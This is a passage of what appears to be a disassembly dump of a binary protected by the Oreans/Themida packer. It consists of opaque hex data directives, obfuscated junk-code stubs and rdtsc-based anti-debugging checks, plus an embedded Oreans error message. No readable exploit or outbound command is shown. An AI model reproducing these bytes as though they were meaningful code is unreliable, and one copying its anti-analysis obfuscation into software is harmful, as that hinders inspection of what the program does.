0B9C98A2Fh, 0E918FC18h dd 18B90F40h, 3C69C6FCh, 984CD2ABh, 55556F52h, 3D040788h dd 555382C5h, 5C0F74h, 18330000h, 0AE94527Eh, 18B97509h dd 0A0A79CFCh, 6BB2F8E1h, 0AEEDD9E2h, 266A6E94h, 3CECB623h dd 16AE9DA7h, 0F170F1B5h, 93CCA658h, 96C72664h, 0F2B04B85h dd 1838E455h, 9463DFCh, 4F8ECAB0h, 0F000000h, 0ABAC0D8Ch dd 7AFC18B9h, 0B93B3C0Dh, 9DEAFC18h, 0B90C4DEAh, 6EC5FC18h dd 7E18695Dh, 9AE9452h, 0FC18B975h, 0AFC51287h, 0B586D68Ah dd 0E0CE0B14h, 6E6C2FAEh, 6EAD9922h, 0AE98266Ah, 2FAAEEEFh dd 64D11A61h, 52F3D401h, 206C6C2Fh, 8855A387h, 0C73D0407h dd 35h, 567A18FBh, 7509AE68h, 9CFC18B9h, 43C7DC7Bh, 326F12FCh dd 6E94AEB4h, 0E8AC2866h, 0F4E9589Dh, 707571AEh, 68E94EF1h dd 0B9FC18B9h, 8E0DF9C2h, 46h, 567A18B4h, 6C2FAE68h, 0C4DEA6Ch dd 0C5FC18B9h, 9CE316Eh, 5DD13A83h, 49FC18B9h, 9D5A1D0Ch dd 46A5E115h, 84DD815h, 94AECBBFh, 0B028666Eh, 0F1B0B7ECh dd 0F27B8208h, 65464C8Fh, 0EBEFAE81h, 0B61744A7h, 5D8E5195h dd 0B4FFFFFEh, 0A6ECEFAEh, 0B95506A3h, 0B78CFC18h, 16305D16h dd 6DBCDDE3h, 0AE303671h, 72D74A87h, 1FE3AD1h, 75342B00h dd 80030684h, 0FD323627h, 5D9AEFF9h, 528FCC5Fh, 5A6ECEFh dd 1BCB5601h, 0F562E564h, 0B35E05B5h, 6AEB7C86h, 0BBF9FDE4h dd 0A192FBCCh, 70F9FDE4h, 9745043Bh, 9AD7DB01h, 6AF1CA03h dd 0F55ABE2Bh, 2485AFC5h, 253B3A83h, 0D610F9FDh, 0AB76ABDEh dd 21D53FE9h, 52000000h, 0F5224C5h, 7EA1783Eh, 0D397307Ch dd 18B9FB88h, 8A10C9FCh, 0E1DD0Ch, 1B5A0000h, 390DDEDCh dd 0D0577B18h, 0FACF3777h, 55F27501h, 0F9FAAFE4h, 2165463Dh dd 880FBB96h, 0EE5B69C8h, 0FEC2387Bh, 276B91D0h, 5718A120h dd 8EF9FAC3h, 28298EB1h, 0F9F9FAC3h, 0A5123982h, 129594B8h dd 0C3E4AA53h, 1C75F17Ah, 2F880B04h, 0F7DF692Eh, 0EB3F88E7h dd 30AAED9Ch, 3EBAFD6Ch, 0C3C70F72h, 0FCAA33B8h, 0DC434F8Dh dd 0CA515D9Dh, 696DEE4Bh, 0CFA4F7DFh, 0D5224992h, 44E56448h dd 0A39D831h, 0D19097ECh, 0C5646228h, 36555382h, 0BC3D2485h dd 668503F4h, 69BCFAFFh, 17B0B7ECh, 0EDB5A626h, 2E4B80FFh dd 0F894C4F8h, 79472E7Bh, 0CE00000Ah, 23068C08h, 96EBF7B3h dd 0F1B05E62h, 271A8006h, 55E2E8B6h, 0A6EC11AEh, 0C924938h dd 7539A386h, 0D9DF1869h, 57F0313Dh, 0F9FDD3E6h, 0AEB4763Fh dd 0B9C98A2Fh, 2318FC18h, 6422D79Ah, 9319DE01h, 8470FA08h dd 44FBC136h, 0F4D5D105h, 0C069316h, 7953276Dh, 924FFBCCh dd 393A04B7h, 4Eh, 0BF03F7B6h, 0E8DEEF6Ch, 0D0577B18h dd 0FACECF77h, 3D9A1D01h, 0F9FAAC3Ch, 0D94D9ED5h, 0FC237168h dd 0EC69BCF8h, 0ECED54B7h, 984120AEh, 113E8B12h, 0AFFEC437h dd 2CFC67F2h, 0F22F498Ch, 13C38285h, 0E6C77497h, 15AC1EBBh dd 68C70418h, 39AE6462h, 68B1C3EEh, 5266F7F5h, 0C6431D45h dd 7C78E7C0h, 0A4C7C532h, 8BDCFA37h, 0FC18E4C3h, 739F23D9h dd 107C59CEh, 3ABB99EFh, 674BC8A1h, 293947E0h, 67DC01FEh dd 7539A1E0h, 78556369h, 0D73A8407h, 175h, 0E40CC750h dd 0BEB0FD1Bh, 0EFAE592Dh, 2D06A7EBh, 0AEA10D27h, 26686C2Fh dd 17B0EDB3h, 18B9B0CEh, 0E31A6FCh, 0B9292A8Fh, 83F8FC18h dd 0C8119F5Ch, 6C2FAEF2h, 4EDB226Eh, 0F3E2D755h, 5E6FA465h dd 56A16968h, 0A1EDEFAEh, 0C3272F18h, 18B9F566h, 8F8B2CFCh dd 0F91B448h, 36BCE926h, 27800382h, 0FC18B936h, 7AC2F5E2h dd 133F7A40h, 84E7AD2Eh, 0E5C11A57h, 3B9C7A18h, 0FC18B93Ah dd 9B279CEBh, 8855556Fh, 0C73D0407h, 2Dh, 0EDEFAEFBh, 1D682EABh dd 0D31863D8h, 3B29310Ah, 7509AEBFh, 9CFC18B9h, 2FAE1BA7h dd 9A23696Ch, 266A6EACh, 8E4A7098h, 3Eh, 8E7E18B4h, 58424BF5h dd 0ECCA0764h, 98BA2FAEh, 713D8BE4h, 0E4424F02h, 0E7BBED0h dd 9CDE54BDh, 85CCFC18h, 0BA334A58h, 906DBF91h, 0F623DA60h dd 6E94AEC8h, 7098266Ah, 404C8EF1h, 88558367h, 0C73D0407h dd 46h, 567A18FBh, 206490D3h, 0A773E837h, 4B9C9DA3h, 7509AE7Fh dd 9CFC18B9h, 94AE1BA7h, 0EA0439AEh, 0C5634A27h, 37797DE4h dd 2482FFC3h, 884239AEh, 4FE1D8E5h, 0AEE9ED7Eh, 31506E39h dd 7657EC88h, 2A2Bh, 2FAE5300h, 18B9C98Ah, 9A2318FCh, 238FBDA1h dd 0B97509AEh, 0F461FC18h, 6E94AECEh, 0BC3F2266h, 18B95A1Bh dd 2BBC8BFCh, 8E4A705Fh, 0FFFFFE82h, 577B18B4h, 0FD677D0h dd 300F01FEh, 3894E31h, 994DD487h, 0B12467E6h, 0CF624037h dd 33684907h, 121041AAh, 6AC1F9FDh, 12073613h, 6524F9FDh dd 219D6AF4h, 617A90D5h, 479A0DF9h, 0E43FE970h, 26h, 0C217F465h dd 0BBF4B870h, 0FB884422h, 0C9FC18B9h, 0DD0C8A10h, 0C5h dd 18E01B5Ah, 18B9BEBFh, 0A31857FCh, 7B182C1Ah, 3851D057h dd 318131A2h, 0CC8DDE55h, 5FC1867h, 671243E4h, 74C3FC18h dd 0C663AE3Fh, 1FA3600h, 894463Bh, 1557A4FDh, 0F0D72B10h dd 98DB4EBBh, 0F1B05E62h, 8B64870Bh, 1ABFA286h, 41D5555h dd 0C18087FCh, 0F60B971Bh, 207B3FB7h, 0AD2F12ABh, 0BA3F7EE1h dd 9B2CA9FCh, 361A07F0h, 0B8879633h, 211E0A36h, 367A7F3Eh dd 28ADF8C4h, 46DF9039h, 3976EDB5h, 7663C6CCh, 0E5CDCB30h dd 0FB8EF893h, 71F98h, 26629400h, 890DC9B8h, 0F0BC3C0Dh dd 5A6097EAh, 8210CDBCh, 0B708EF04h, 0EF527846h, 4938A6ECh dd 0BE830F93h, 6F577339h, 0D480B116h, 2C51F9FDh, 0EDEFAEEEh dd 0A05918A1h, 6FA4E810h, 6624D51Ch, 1D8AEF07h, 2137422Ch dd 7F3DB80Eh, 0C5B1B902h, 0FCA136B9h, 9FBE7F0Ah, 2AB7B881h dd 116EFC18h, 4A5089C8h, 0A60BC64Ch, 33A03A04h, 9A000000h dd 0D0577B18h, 0FADF1777h, 4EF14E01h, 0FAC3C70Fh, 6891D053h dd 0A04EDB22h, 66AF9B3Eh, 41AA3368h, 0F9FA342Ch, 5ACDB93Fh dd 3FE6A087h, 4C24h, 7B181E00h, 4377D057h, 8101FACAh db 0DEh ; Þ db 1Ah, 4Ah, 85h dd 4B673A99h, 1B50ABE0h, 78EF44C2h, 1F1F50F9h, 7936F9FAh dd 1B5AC560h, 81B217E1h, 50F9FA1Fh, 1E5FAE1Bh, 5D5582CDh dd 38A6139Fh, 0F30A9049h, 32351906h, 184E3195h, 7793E804h dd 0C5810F49h, 54F57458h, 1FAC326h, 0CFCD0879h, 5FC23FBCh dd 0AD3D91Ch, 0E13E146h, 0A2AFB96Dh, 0D43E9B8Eh, 3FC7A28Bh dd 0FA018F4Ah, 8E10471h, 8720270Bh, 0CDC089FFh, 0B1265916h dd 8206BD15h, 29687136h, 0FBE331A6h, 0D18450B4h, 424C788h dd 0F4211E2Eh, 2D6B6CD3h, 9117C0A1h, 25495614h, 0FD442138h dd 5CCh, 0D5F1B523h, 0BE246094h, 7830FCBh, 0E9F5B322h dd 0B15D6398h, 99425B3Ah, 3FBA8F0Bh, 0E6145571h, 8C4D3CDAh dd 0A5DC800Eh, 0FDD65304h, 5B8382F9h, 0A2E8EFAEh, 86C9125Bh dd 0B1304B51h, 78B4F49h, 60BCCCAh, 0D59A3F22h, 7C01FE0Fh dd 6CB5F7DBh, 70ADD90Ah, 88468EF1h, 0FDE32E2Fh, 5388E7F9h dd 133A83C8h, 6A6E28D0h, 0B88CE926h, 0B3045C8Ch, 5568FD6h dd 2BAD0000h, 0D61E636Fh, 857534D2h, 29AC9D39h, 0D9026763h dd 0D1B0CFCBh, 5810FCCh, 0E3EFB524h, 4A505C9Eh, 1E8402F7h dd 0C98A2F56h, 18F9FDD6h, 7B18D115h, 0EE51D057h, 1744A7EDh dd 0FE46DB6h, 5C2D01FEh, 40F5109Ch, 8971F00Bh, 90DEF805h dd 0B4D1045Ch, 4FFEDh, 6827400h, 692DA998h, 0D0DC1C6Dh dd 3A8077CAh, 6230AD9Ch, 9728CF64h, 0CFB25866h, 2918860Ch dd 9EE3EFB3h, 8FB75359h, 0C960D176h, 0CCB1F9FDh, 577B180Eh dd 0FC277D0h, 810001FEh, 0FDEF3738h, 0D87DE3F9h, 0A9C622F2h dd 911FDCADh, 5594C10Ah, 4A831AA8h, 0CF5E1571h, 23485484h dd 45CC94Dh, 99187B0Eh, 0EE000004h, 4326ACE8h, 0B68B1793h dd 11507E42h, 473AA0E6h, 75820896h, 0C6CC318Eh, 2C7269D8h dd 9519C3A6h, 0F9BF3809h, 379011DDh, 0F9FDC906h, 6E9456DFh dd 0F40E969h, 1DFC18B9h, 348D3DFh, 4CF32807h, 0B8C3CF0Dh dd 4083AA33h, 0D9DF1B97h, 0DA219E24h, 5DC12491h, 1ADF2B1Bh dd 0C633769Ch, 0A6DCA5C0h, 0FDFC18B9h, 0D2077343h, 0DCED4h dd 0FBBA3D2Ch, 0E26BB200h, 0FC370D9h, 5D2A01FEh, 286E6B2Ah dd 2011B639h, 0EAF9FDEFh, 0FDEF0C4Dh, 0E06EC5F9h, 0D554328Bh dd 86276592h, 0D981EDBh, 84BBAFB4h, 34258205h, 0EDF9FDEFh dd 0E7A35396h, 59B37DC6h, 6DDA041Bh, 0C1387BFAh, 9A23A8F3h dd 7E6422D7h, 0BDC8CE0Bh, 74EBDF44h, 307FE7D3h, 24413E0Ah dd 0F895203Eh, 0BDF55C29h, 32000003h, 67DAC0C4h, 0DAAF2B6Fh dd 3574921Eh, 6BDEC4C2h, 9A62C72h, 1AA8556Ah, 404E8DFCh dd 0A9F5E75Ah, 1D9B5C2Dh, 13B4CDF1h, 0F9FDC822h, 6E48B2F3h dd 0AB3C2369h, 0BCCA5E35h, 0E38A5313h, 0BCED7760h, 6EDE4701h dd 0BDBE2491h, 2C8DBC90h, 1FAAC4Eh, 3477EA41h, 0E0A3FAC6h dd 0FA2B1647h, 3B70CFF9h, 81BE9BA2h, 92F9FA2Bh, 0F4296054h dd 5B3FE6A1h, 2Eh, 0EEEFAE6Fh, 71045A0h, 0D4207103h, 956E7F41h dd 4A5A488h, 1FA3352h, 0A57B68Dh, 0F9FA4375h, 9D14E066h dd 3FE70D40h, 109EFh, 696ED300h, 7E7D3C23h, 858C9730h dd 728917C2h, 7C61E0F9h, 6B6CD736h, 9CEFB327h, 0CE8F285Fh dd 7FC18B9h, 0DB4CF328h, 0C8BBE3A4h, 5C8A8331h, 0F8E5EF67h dd 6FD67D4Eh, 1041E66Ah, 0C1FC1880h, 10913D6Ah, 86E5A951h dd 0D52B7455h, 0E3FC1884h, 9CDD7AF6h, 6EFC1884h, 4F242266h dd 44B5F412h, 82695D9Ah, 42BF8CD0h, 6D41CE3Bh, 0B34D5DFAh dd 8FE401FAh, 2DCB4803h, 0FA3BCB8Ch, 0F02D1AF9h, 0EEBAE871h dd 0ACDD041Fh, 0DF8C4A0Bh, 0C1669BF7h, 0F7DF8C90h, 40BDEA41h dd 575D9EC1h, 6305F64Bh, 11D7EAA0h, 48B5E26Fh, 0FE7A628Ch dd 696BCA5Fh, 0DE000002h, 33769C18h, 66DBC7C3h, 0C1A02E72h dd 370A9016h, 0A5D2F8C6h, 0B6FCE1BEh, 1CA25928h, 4549B3F6h dd 0A9EFE859h, 67C0212Dh, 0F9FDCBF6h, 0AEA4662Fh, 5A6ECEFh dd 0F713A15Ah, 2C8D45B2h, 0FC18B92Bh, 4A508DFAh, 0CE8A237h dd 6DBBBC1Dh, 1D6AFC18h, 76D8F17Ch, 7B189155h, 0EE51D057h dd 1358A3E9h, 0D1F161CAh, 4B2001FAh, 0A1DA5730h, 8FC9F9FAh dd 2B9D70B7h, 0BB323FE6h, 34000000h, 1EFB39AEh, 703BD3ACh dd 0A9EFE857h, 6490D352h, 23D88720h, 0CF210E9Dh, 0FDFC185Bh dd 5110BEFCh, 0CE8F28A8h, 7FC1853h, 5FA8F328h, 22DC232h dd 0DB142A02h, 0CE0F9E1Ch, 84252491h, 1FACA82h, 9F58463Dh dd 9F25D4F2h, 0E79A3F22h, 0E041F52h, 783CB8FBh, 0DE526EEFh dd 93C8A7F7h, 0B12A6DECh, 8A5398E3h, 28816C7h, 8BF0BE3Fh dd 0FE7AFC03h, 759EE184h, 0CA000001h, 3F02880Ch, 92D7F3B7h dd 0CDBC5A66h, 23068C0Ah, 51EEF4BAh, 0A2F0EDB2h, 8964524h dd 713DBF82h, 0A5E31455h, 6BCC3539h, 0F9FDCAEAh, 6EB07A3Bh dd 0A120276Dh, 18B95718h, 28B18EFCh, 0CCCA0F72h, 696E18C6h dd 6099D823h, 96BBBC5Ah, 17E42B8h, 0DF69B91Eh, 0A99801FAh dd 2B716434h, 0FB2E9BD0h, 0E368B3FFh, 750A57B6h, 66F9FA9Eh dd 409D14E0h, 0EF3FE636h, 31h, 0EDB12968h, 0BE8C5D9Eh dd 0D0577B18h, 0FAD3FF77h, 914A0D01h, 9319DC03h, 0ACFAC308h dd 56EBB4D7h, 45F9FAA3h, 21FC3303h, 8E3FE62Dh, 29h, 0EBEFAEB0h dd 2B7960A7h, 0B9354992h, 0EC71FC18h, 0CF0649F8h, 0A039B2C9h dd 38BFFE61h, 19A22B72h, 0FACD0EB0h, 0C8AE101h, 1739AE46h dd 0D14087Bh, 5DA8F6E5h, 211AA318h, 9619083Ch, 418BEE01h dd 924521A0h, 0A50EDF14h, 1FAAAC1h, 5F384338h, 0F9FAA822h dd 48BFB731h, 3FE62095h, 133Ah, 0FB880C00h, 0BFFC18B9h dd 2E8BBE92h, 1FACD9Ch, 0D4923877h, 0D0577B18h, 0A1E7EE51h dd 6FC8115Ah, 1FE108Ah, 0EE51B483h, 4227A3E9h, 0ABF41795h dd 4C157423h, 76C4B0FAh, 0AA9F3B81h, 151C6F2Dh, 7B043592h dd 66DDAFA4h, 1DB1A45h, 0A6433FF0h, 0EDEE51E7h, 0DA1744A7h dd 9FD6743h, 507E3CBDh, 5BA2E811h, 3F8h, 9DA70200h, 0D92C686Eh dd 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h dd 9B21D4h, 769519C1h, 788307CFh, 0E38953F2h, 4C381h, 0EB810000h dd 4, 5C241C87h, 51240489h, 0C181E189h, 4, 4E981h, 0C870000h dd 4895C24h, 0F4E6824h, 3C890000h, 4EC8124h, 89000000h dd 83BE2434h, 8905E557h, 8B545EF0h, 0C481243Ch, 4, 8478F50h dd 56243C8Bh, 0C681E689h, 4, 4C681h, 34870000h, 48B5C24h dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 0A55E95Ch dd 19F3FFFDh, 753EB89Ch, 0C50305E5h, 0AD48E0FFh, 23320679h dd 887618Ah, 9EF039D1h, 0C7CE6BD9h, 38DB6135h, 0E60C5201h dd 0CE132A2Dh, 0AB39451Fh, 0C58121C8h, 0DFC31BDBh, 22803EF0h dd 873E4F26h, 61526942h, 0CE2151E3h, 0F4080A01h, 0FFAE3A06h dd 1497553Ah, 28B65E4Ch, 62F9697Ch, 54D0522Fh, 5CF57E11h dd 0C830716Bh, 3AF32D55h, 634304Bh, 6E3B6400h, 0CBC12E1Eh dd 0E957FCh, 4, 33000000h, 69206E41h, 7265746Eh, 206C616Eh dd 65637865h, 6F697470h, 636F206Eh, 65727563h, 41282064h dd 65726464h, 203A7373h, 78257830h, 500D0A29h, 7361656Ch dd 63202C65h, 61746E6Fh, 73207463h, 6F707075h, 6F407472h dd 6E616572h, 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h dd 21h, 0E3h dup(0) dd 56000000h, 45000000h, 0 dd 0E9000000h, 1115h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0CFC35747h, 2B9936B4h, 1189858Bh, 6A05E2h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 898655C3h, 0E203D195h, 24443905h, 0BF850F04h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0CA2CC351h, 2A7F61D8h, 8B609E77h, 0E2171585h dd 1DBD0B05h, 6105E21Dh, 14E9h, 80008E00h, 0D4936355h dd 0B05BE999h, 6CD09A2Bh, 65386C8Dh, 8E961h, 5E1D0000h dd 28A48F51h, 0BD83A147h, 5E22655h, 5B840F00h, 60000000h dd 0D7D8529h, 0BD8905E2h, 5E20E8Dh, 0ED858D61h, 0F505E239h dd 6AE0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 49CC4EC3h, 1A8B0Fh, 0E9600000h, 13h, 0B5193AB7h dd 0A4822CD7h, 981707BDh, 169DC88Ch, 6127BF65h, 2AF59D29h dd 858B05E2h, 5E2150Dh, 0D6816660h, 8B66160Ah, 443961D3h dd 850F0424h, 33h, 11E9h, 0D9117B00h, 4A9339E5h, 0D413D937h dd 0E0BD3F19h, 85C78C0Fh, 5E57A38h, 1, 0D840Fh, 8E90000h dd 24000000h, 84D0225Dh, 603A1D47h, 6E9h, 0CE633A00h, 0E9371244h dd 27h, 0FE860h, 0F6E90000h, 0C654BC72h, 0EFE14682h, 0AD1C0E51h dd 7E95829h, 0F4000000h, 5A703542h, 61B85Fh, 0B8000000h dd 1, 7BD48587h, 0C00B05E5h, 0B5FFF675h, 5E20A49h, 7A30858Fh dd 206A05E5h, 95FFFF6Ah, 5E20B41h, 7A1BD83h, 740005E2h dd 0FF006A08h, 0E20AB995h, 0EDBD8305h, 105E21Fh, 80680D74h dd 6A000000h, 4195FFFFh, 2905E20Bh, 0E20E31BDh, 7E905h dd 9A250000h, 1C8BAF8Ah, 6AC02BB8h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0C2B9C357h dd 0EFA82AD6h, 0F8876A9Eh, 5E860h, 1A2B0000h, 60854021h dd 0BD295961h, 5E21E91h, 0B5316061h, 5E218ADh, 2B4D8D8Bh dd 8B6105E2h, 0F282454h, 681h, 45BD3100h, 8905E20Eh, 0E2018985h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 3CBE9485h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 7516C356h dd 24247403h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0B1C35747h, 75D18293h, 89020FB6h, 0E205618Dh, 6AAD6605h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 14F3C350h, 0E985DCF4h, 0E97CB3FFh, 13h, 1D1870E3h dd 21E3F515h, 0E2B44B2Fh, 48518137h, 0F8810B19h, 24244403h dd 0CF815660h, 32FB1C03h, 8D9D315Bh, 6105E222h, 0EE950h dd 8F0F0000h, 6C173B72h, 2A5C15AAh, 0BB32D416h, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0BFE3C351h, 0A12949D5h, 0FF670B07h, 0E978408Bh dd 13h, 9A813EA1h, 37B3A8EEh, 36965EC8h, 804E94DBh, 83B16393h dd 0E57A38BDh, 850F0005h, 0CFh, 22259509h, 0E99005E2h dd 9, 0A352A0A2h, 0DD6E473Fh, 666050C5h, 66DA10BFh, 9061F18Bh dd 12E9h, 67722300h, 0F5B2883Ch, 0FC6CB1Ah, 95DF8F92h dd 8BD26940h, 6A2C2444h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0E03BC351h, 0F819D29h dd 0E99005E2h, 7, 8F4FD11Ch, 50E1C2B2h, 8D0F5360h, 0 aYQGarj db 'Y¾ÐQËgaj',0 dw 0E856h dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 96C35646h, 1870Fh dd 89FC0000h, 0E214C9B5h, 0DB86005h, 0F204E0Eh, 8D61DAB7h dd 0E554A785h, 0D0FFF505h, 12E9h, 64C01800h, 9FBD6CE0h dd 9757045Ah, 8B117D39h, 390BCCEh, 9282444h, 0E21505B5h dd 18408B05h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0FEC35545h, 283E9696h, 800F1151h, 6, 0C5D8D29h dd 6A4005E2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0CC92C356h, 0F3071EDh, 68Dh, 5B58900h dd 905E201h, 0E22FB5BDh, 34858905h, 6A05E57Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 9EC3C356h, 8FC37696h, 5B0E96E6h, 88B0Fh, 0F600000h dd 82h, 31606100h, 0E211B58Dh, 0D0B70F05h, 6A5861h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0BA621EC3h, 0E2C026D4h, 0F196ECBh, 68Ah, 69BD8900h dd 8B05E213h, 95017870h, 5E223B5h, 6A1CC683h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 6056C352h, 15EF8166h, 858D8972h, 6105E229h, 6A96F9h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 880F17C3h, 8, 2DB58B60h, 6105E221h, 24247C81h, 10000000h dd 106870Fh, 9D890000h, 5E22651h, 3DB509h, 509005E2h, 2890F52h dd 60000000h, 0E9310F61h, 5, 8988D96Ah, 50585A1Fh, 12820Fh dd 52500000h, 820Fh, 310F0000h, 310F5250h, 585A585Ah, 0E9606090h dd 0Fh, 7913F1Dh, 267BDBBBh, 62973AFDh, 3138C3B9h, 0E221B5BDh dd 0E8606105h, 7, 0FBE5334Ch, 5858548Eh, 0B36BD981h, 61613ABCh dd 2824448Bh, 61BD8960h, 0F05E21Bh, 5061F8BFh, 7E95250h dd 34000000h, 0F750F478h, 310FE715h, 5E9h, 0B7102500h dd 585A14ECh, 60240489h, 14B58D23h, 958905E2h, 5E23251h dd 858DF961h, 5E554A7h, 1D5DB589h, 0D0FF05E2h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0ABC35747h, 138C0Fh dd 0EE90000h, 0BB000000h, 9E6FFF35h, 9DC2D6EAh, 0E064C018h dd 0D870F6Ch, 0E9000000h, 8, 0C7D3ECA4h, 0A9697910h, 56006A96h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 8539CF2Dh, 0C5B77F24h, 0F28B603Bh, 1F0DB58Bh, 896105E2h dd 0E213E995h, 24740305h, 1880F24h, 0F9000000h, 0C69BD8Dh dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0F0B29C3h, 789h, 1860F00h, 0F5000000h, 18B0FADh dd 0F5000000h, 24247C81h, 10000000h, 114870Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0F8468BC3h, 0C820F50h, 0F000000h, 68Eh, 0F525000h, 89585A31h dd 8BF92404h, 6A282444h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 89E1C352h, 0E20CB195h dd 14E905h, 939D0000h, 6856116Eh, 0BBD1F010h, 122004BDh dd 1685835Bh, 5090FDDDh, 6800F52h, 0F000000h, 89h, 60310F00h dd 0BE8h, 54BC7200h, 0E14682C6h, 1C0E51EFh, 0EE95Eh, 3A930000h dd 9EED73CDh, 59960B18h, 434644F2h, 50585A61h, 0BAB5B060h dd 3C06ECBCh, 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0FDCA9C3h, 1088h, 0BE900h, 0CF470000h dd 0BAAAEB53h, 97BF95CCh, 858DF9D1h, 5E554A7h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 57C35141h, 0D0FF9D4Dh dd 4403FCF9h, 6A2424h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 0B562FBC3h, 99858962h, 0AB05E21Ah dd 0ADBD8B60h, 2905E21Eh, 0E204BDB5h, 0FA816105h, 10000h dd 6B4820Fh, 80600000h, 81668BC7h, 61DC62CAh, 2991BD8Dh dd 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 105CFBC3h, 8B6660E4h, 0C19D09DAh, 6105E20Ch dd 263D9D29h, 6AAD05E2h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0A831C357h, 9529569Ch dd 5E2061Dh, 6099D89h, 890F05E2h, 0Bh, 6E9h, 0B2F5DA00h dd 8104AC40h, 24247Ch, 0F100000h, 0AE87h, 17800F00h, 0E9000000h dd 12h, 811DAC47h, 92AFDBFFh, 0CA744B6Fh, 0D4BBE210h, 9D09AF41h dd 5E218B5h, 0C840F90h, 0F000000h, 689h, 8C0F00h, 50000000h dd 66525060h, 310FDE8Bh, 585ADE8Bh, 90615B53h, 61F8F860h dd 0B840Fh, 6E90000h, 4D000000h, 0C6BF3E17h, 24448B8Bh dd 55006A28h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 2EA72CEAh, 504588E5h, 9E9h, 6CAF5500h, 0A688B062h dd 489B262h, 4DBD8924h, 8D05E20Dh, 0E554A785h, 958D8905h dd 0FF05E22Fh, 759589D0h, 305E211h, 89242444h, 0E2008DBDh dd 870F5005h, 0Ch, 6890Fh, 8C0F0000h, 0 dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 2140C355h, 0ABF87F2Eh, 0CE9h dd 8D8ED200h, 0D96B3666h, 323E60AFh, 71BD8D6Dh, 6A05E22Ch dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0D5A5C353h, 529C8447h, 6AADF8h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 4ED64EC3h dd 8AD8D89h, 7C8105E2h, 2824h, 870F1000h, 0BEh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 93C35545h, 97A71BE5h dd 80B86050h, 66713259h, 8961FE8Bh, 6A2404h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 789F6BC3h dd 0C8822839h, 0C18B6660h, 24448B61h, 7E92Ch, 6B790000h dd 0BB8B4C7Ah, 800F501Fh, 12h, 820F5250h, 0 dd 8E0F310Fh, 0 dd 489585Ah, 0B9B58924h, 8D05E21Eh, 0E554A785h, 49BD8905h dd 0FF05E21Dh, 53006AD0h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 364978CFh, 0B5336024h dd 5E22649h, 440361F5h, 870F2824h, 6, 64D8D29h, 8D0F05E2h dd 15h, 0F850Fh, 0AE90000h, 0A5000000h, 1ED79705h, 0A485B9CCh dd 870FABAEh, 1Dh, 178A0Fh, 12E90000h, 9A000000h, 921E0552h dd 72F267A8h, 0B7869B60h, 0BB19D812h, 8DFF5EA5h, 5E57A34h dd 7A34BD83h, 750005E5h, 8DC0330Ah, 0E58889B5h, 56E6FF05h dd 247C81ADh, 28h, 500E7710h, 2C24448Bh, 0A7858D50h, 0FF05E554h dd 244403D0h, 0DF8B9728h, 7A30858Ah, 0C08405E5h, 73A0474h dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h dd 85FF04C6h, 5E20189h, 0FFFF5DE9h, 860F5EFFh, 0Ch, 7E9h dd 21276C00h, 9D9627CBh, 15D58589h, 858B05E2h, 5E20189h dd 1DEDB589h, 0E0D105E2h, 718503F5h, 6005E22Ch, 89D68B66h dd 0E213F9B5h, 0BE6105h, 60000000h, 0DFB70F60h, 89615E53h dd 0E201358Dh, 6A966105h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 3306C352h, 21498589h dd 